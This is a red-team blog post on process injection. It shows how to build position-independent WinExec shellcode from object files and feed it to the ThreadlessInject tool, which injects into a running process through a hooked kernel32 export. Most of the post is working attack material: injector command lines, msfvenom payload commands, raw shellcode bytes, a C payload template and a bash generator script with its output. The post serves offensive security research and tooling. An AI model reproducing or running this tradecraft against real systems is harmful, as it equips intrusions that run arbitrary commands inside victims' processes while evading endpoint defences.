Adopting Position Independent Shellcodes from Object
Files in Memory for Threadless Injection
snovvcrash.rocks/2023/02/14/pic-generation-for-threadless-injection.html
snovvcrash@gh-pages:~$ _ 14 февраля 2023 г.
maldev threadless-injection function-stomping shellcode-injection shellcode-generation pic
winexec msfvenom
Feb 14, 2023
• snovvcrash • 9 minutes to read
In this blog I will describe a way to automate the generation of Position Independent
Shellcodes from object files in memory (by @NinjaParanoid) to be used in Threadless
Process Injection (by @_EthicalChaos_).
Function Stomping / Threadless Injection
One of the items from my endless TODO-list that I never crossed out was the topic of
Function Stomping by Ido Veltzman. Luckily, Ceri Coburn presented an awesome research
on Threadless Process Injection accompanying a ready-to-use injector in C# which made me
get back to that long-forgotten TODO.
Pop-the-Calc Shellcode
While playing with ThreadlessInject and porting it to the DInvoke API, one of the obvious
desires of mine was to test it with a different shellcode. As a Proof-of-Concept Ceri provides a
classic Pop-the-Calc shellcode which works smoothly but may not be enough during a real
engagement:
1/8
$notepadId = (Start-Process notepad -PassThru).Id; .\ThreadlessInject.exe -p
$notepadId -d kernel32.dll -e OpenProcess
Hackers looove popping calcs!
Well, what will a hacker do to generate a shellcode? Summon msfvenom , of course:
msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o msf-calc.bin
Providing the msf-calc.bin shellcode to ThreadlessInject.exe with -x option expectedly
results in exiting the target process after calc has been spawned:
$notepadId = (Start-Process notepad -PassThru).Id; .\ThreadlessInject.exe -x .\msf-
calc.bin -p $notepadId -d kernel32.dll -e OpenProcess
2/8
Unwanted termination of parent process with MSF shellcode
Changing the EXITFUNC= option during the generation process doesn’t seem to be helpful:
msfvenom -p windows/x64/exec CMD=calc.exe EXITFUNC=none -f raw -o msf-calc-none.bin
msfvenom -p windows/x64/exec CMD=calc.exe EXITFUNC=process -f raw -o msf-calc-
process.bin
msfvenom -p windows/x64/exec CMD=calc.exe EXITFUNC=thread -f raw -o msf-calc-
thread.bin
It’s a known thing that MSF-exec payloads are better to be started from a fresh thread ‘cause
the shellcode doesn’t treat the stack gently. Furthermore, a hint about the required shellcode
behavior is kindly left by the author of ThreadlessInject in the comments:
// x64 calc shellcode function with ret as default if no shellcode supplied
static byte[] x64 = {
0x53, 0x56, 0x57, 0x55, 0x54, 0x58, 0x66, 0x83, 0xE4, 0xF0, 0x50, 0x6A,
0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x29, 0xD4,
0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0x76, 0x10,
0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E, 0x30, 0x03, 0x57, 0x3C,
0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B,
0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81,
0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F, 0x1C,
0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99, 0xFF, 0xD7,
0x48, 0x83, 0xC4, 0x68, 0x5C, 0x5D, 0x5F, 0x5E, 0x5B, 0xC3 };
3/8
That is to say, the ret instruction should be supplied when the shellcode’s job is done in
order to return the execution flow back to the caller (i. e., the assembly stub) as well as
proper stack alignment should be performed with registers preserved. So let’s take a look at
both shellcodes side-by-side with objdump.
Comparing calc shellcodes
As we can see no ret is observed within the MSF shellcode… Dunno whether the dynamic
way of MSF generator puts the CMD= value onto the stack (via that call rbp instruction)
does also negatively impacts our situation but we definitely don’t get desired behavior – the
parent process dies.
So what can we do about it?
Where’s the DetonatorGenerator?
Honestly, I don’t know any other FOSS shellcode generator besides msfvenom so I started
to google Btw, the builtin default shellcode for ThreadlessInject is as old as time and can be
found in numerous GitHub repos and gists.
Among other things, I considered the following options:
4/8
Look for less-known open source shellcode generators for Windows x64 – failed due to
a total lack of them (though win-x86-shellcoder seems to be a nice project for x86).
Use an existing Pop-the-Calc .asm file as template for generating a WinExec shellcode
with an arbitrary argument (OS command) – failed due me being lazy. Good examples
of such ‘static’ calc shellcodes (with a static lpCmdLine argument for WinExec) are
win-exec-calc-shellcode and x64win-DynamicNoNull-WinExec-PopCalc-Shellcode by
Bobby Cooke.
Play with popular PE → shellcode techniques like sRDI, donut, pe_to_shellcode, etc.
While testing the 3rd option I came along this terrific article by @KlezVirus – From Process
Injection to Function Hijacking – which covers Function Stomping topic in great depth
(one more blogpost in my TODOs).
As I was looking for a quick example to be used with ThreadlessInject, my attention was
caught by one of the references to another blog of maldev magician Chetan Nayak –
Executing Position Independent Shellcode from Object Files in Memory – which we shall
focus on further.
The same technique is used by Aleksandra Doniec in pe_to_shellcode and by @KlezVirus in
inceptor.
PIC from Object Files
In his blog Chetan provides a way to build a C function with a small assembly stub for proper
stack alignment and returning to the caller gracefully.
In order to make sure that our shellcode is always stack aligned, we will write a small assembly
stub which will align the stack and call our C function which would act as our entrypoint. We
will convert this assembly code to an object file which we will later link to our C source code. –
Chetan Nayak (@NinjaParanoid)
5/8
alignstack assembly stub (bruteratel.com)
With the ability to dynamically resolve exported symbols of WinExec (which resides within
kernel32.dll ) we can extract the opcodes from the compiled binary and use them as a
Position Independent shellcode. That’s exactly what we need!
I shall git clone his demo repository and write a template to execute a command of my choice
using WinExec based on the given example of constructing the getprivs function:
// template.c
#include "addresshunter.h"
#include <stdio.h>
typedef UINT(WINAPI* WINEXEC)(LPCSTR, UINT);
void exec() {
UINT64 kernel32dll;
UINT64 WinExecFunc;
kernel32dll = GetKernel32();
CHAR winexec_c[] = {'W','i','n','E','x','e','c', 0};
WinExecFunc = GetSymbolAddress((HANDLE)kernel32dll, winexec_c);
CHAR cmd_c[] = {'<CMD>', 0};
((WINEXEC)WinExecFunc)(cmd_c, <SHOWWINDOW>);
Then with a bit of Bash automation we get a working alternative for the MSF
windows/x64/exec CMD= -f raw payload generator:
6/8
#!/usr/bin/env bash
# Usage:
# generate.sh <CMD> <SHOWWINDOW>
# Examples:
# generate.sh 'calc.exe' 10
# generate.sh 'cmd /c "whoami /all" > C:\Windows\Tasks\out.txt' 0
CMD="${1}"
SHOWWINDOW="${2}" # https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-
winuser-showwindow
CMD=`echo "${CMD}" | grep -o . | sed -e ':a;N;$!ba;s/\n/\x27,\x27/g'`
CMD="${CMD//\\/\\\\\\\\}"
#echo -e "CHAR cmd_c[] = {'${CMD}'};\n((WINEXEC)WinExecFunc)(cmd_c,
${SHOWWINDOW});\n"
cat template.c | sed "s#<CMD>#${CMD}#g" | sed "s#<SHOWWINDOW>#${SHOWWINDOW}#g" >
exec.c
nasm -f win64 adjuststack.asm -o adjuststack.o
x86_64-w64-mingw32-gcc exec.c -Wall -m64 -ffunction-sections -fno-asynchronous-
unwind-tables -nostdlib -fno-ident -O2 -c -o exec.o -Wl,-Tlinker.ld,--no-seh
x86_64-w64-mingw32-ld -s adjuststack.o exec.o -o exec.exe
echo -e `for i in $(objdump -d exec.exe | grep "^ " | cut -f2); do echo -n "\x$i";
done` > exec.bin
if [ -f exec.bin ]; then
echo "[*] Payload size: `stat -c%s exec.bin` bytes"
echo "[+] Saved as: exec.bin"
fi
rm exec.exe exec.o exec.c adjuststack.o
Generate and execute:
./generate.sh 'cmd /c "whoami /all" > C:\Windows\Tasks\out.txt' 0
[*] Payload size: 640 bytes
[+] Saved as: exec.bin
7/8
Execution of customly generated shellcode
Happy hacking!
References
8/8